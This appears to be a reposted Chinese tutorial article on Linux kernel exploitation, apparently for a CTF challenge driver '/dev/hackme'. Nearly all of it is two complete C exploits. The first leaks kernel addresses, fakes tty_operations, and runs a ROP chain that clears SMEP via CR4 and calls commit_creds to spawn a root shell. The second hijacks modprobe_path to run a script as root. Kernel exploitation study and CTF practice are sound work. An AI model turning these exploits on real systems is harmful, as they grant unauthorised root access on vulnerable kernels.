本篇内容介绍了“kernel劫持modprobe path内容实例分析”的有关知识，在实际案例的操作过程中，不少人都会遇到这样的困境，接下来就让小编带领大家学习一下如何处理这些情况吧！希望大家仔细阅读，能够学有所成！
exp1
smep:smep即用户数据不可执行，当 CPU 处于 ring0 模式时，执行用户空间的代码会触发页错误，系统根据CR4寄存器的第20位判断内核是否开启smep，为1时开启，为0时关闭（第21位是SMAP位）。
smap:smap用户数据不可访问。
通过控制cr4寄存器为0x6f0即可绕过。
#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};int fd;struct Heap{ size_t index; char *data; size_t len; size_t offset;};void add(int index, size_t len, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;ioctl(fd, 0x30000, &heap);}void delete(int index){struct Heap heap;heap.index = index;ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30003, &heap);}void save_status(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] save the state success!");}void get_shell(){if (getuid() == 0){puts("[*] get root");system("/bin/sh");}else{puts("[-] get root error");sleep(3);exit(0);}}void get_root(){//commit_creds(prepare_kernel_cred(0))void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;void (*cc)(void *) = (void (*)(void *))commit_creds;(*cc)((*pkc)(0));}int main(){save_status();char buf[0x1000] = {0};size_t fake_tty_struct[4] = {0};size_t fake_tty_operations[35] = {0};fd = open("/dev/hackme",0);if(fd < 0){puts("[-] open file error");sleep(3);exit(0);}add(0, 0x2e0, buf); // 0add(1, 0x2e0, buf); // 1add(2, 0x100, buf); // 2add(3, 0x100, buf); // 3delete(0);delete(2);show(3, 0x100, -0x100, buf);size_t heap_addr = ((size_t *)buf)[0] - 0x200;printf("[+] heap_addr=> 0x%lx\n", heap_addr);int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);if(fd_tty < 0){puts("[-] open ptmx error");sleep(3);exit(0);}show(1, 0x400, -0x400, buf);vmlinux_base = ((size_t *)buf)[3] - 0x625d80;printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);off = vmlinux_base - raw_vmlinux_base;commit_creds = off + 0xffffffff8104d220;prepare_kernel_cred = off + 0xffffffff8104d3d0;int i = 0;rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;rop[i++] = 0x6f0;rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;rop[i++] = 0;rop[i++] = (size_t)get_root;rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; rop[i++] = 0;rop[i++] = 0;rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;rop[i++] = (size_t)get_shell;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_sp;rop[i++] = user_ss;add(2, 0x100, (char *)rop);fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;fake_tty_operations[1] = heap_addr;((size_t *)buf)[3] = heap_addr + 0x100;delete(3);add(3, 0x100, (char *)fake_tty_operations);edit(1, 0x400, -0x400, buf);write(fd_tty, "FXC", 3);return 0;}exp2
mod_tree：可以泄露驱动地址，当堆栈中找不到时可以来这里查找。
modprobe_path：当我们执行一个非法文件时，就会以root权限去执行modprobe_path所指向的文件，通常是指向/sbin/modprobe，如果改成我们创建的cat flag的文件，那么就可以拿到flag
#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <string.h>int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;struct Heap{ size_t index; char *data; size_t len; size_t offset;};void add(int index, size_t len, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;ioctl(fd, 0x30000, &heap);}void delete(int index){struct Heap heap;heap.index = index;ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30003, &heap);}void get_flag(){puts("[+] Prepare shell file.");system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");system("chmod +x /shell.sh");puts("[+] Prepare trigger file.");system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");system("chmod +x /FXC");system("cat /proc/sys/kernel/modprobe");system("/FXC");system("cat /flag");sleep(5);}int main(){fd = open("/dev/hackme",0);if(fd < 0){puts("[-] open file error");sleep(3);exit(0);}char buf[0x1000] = {0};add(0, 0x100, buf); // 0add(1, 0x100, buf); // 1add(2, 0x100, buf); // 2add(3, 0x100, buf); // 3add(4, 0x100, buf); // 4delete(1);delete(3);show(4, 0x100, -0x100, buf);heap_base = ((size_t *)buf)[0] - 0x100;printf("[+] heap_addr=> 0x%lx\n", heap_base);show(0, 0x200, -0x200, buf);vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);mod_tree = vmlinux_base + 0x811000;modprobe_path = vmlinux_base + 0x83f960;memset(buf,'\x00',0x100);((size_t *)buf)[0] = mod_tree + 0x40;edit(4, 0x100, -0x100, buf);add(5, 0x100, buf); // 5add(6, 0x100, buf); // 6show(6, 0x40, -0x40, buf);ko_base = ((size_t *)buf)[3];printf("[+] ko_base=> 0x%lx\n", ko_base);delete(2);delete(5);getchar();((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;edit(4, 0x100, -0x100, buf);add(7, 0x100, buf); // 7add(8, 0x100, buf); // 8((size_t *)buf)[0] = modprobe_path;((size_t *)buf)[1] = 0x100;edit(8, 0x10, 0, buf);strncpy(buf, "/shell.sh\x00", 0xa);edit(12, 0xa, 0, buf);get_flag();return 0;}“kernel劫持modprobe path内容实例分析”的内容就介绍到这里了，感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站，小编将为大家输出更多高质量的实用文章！
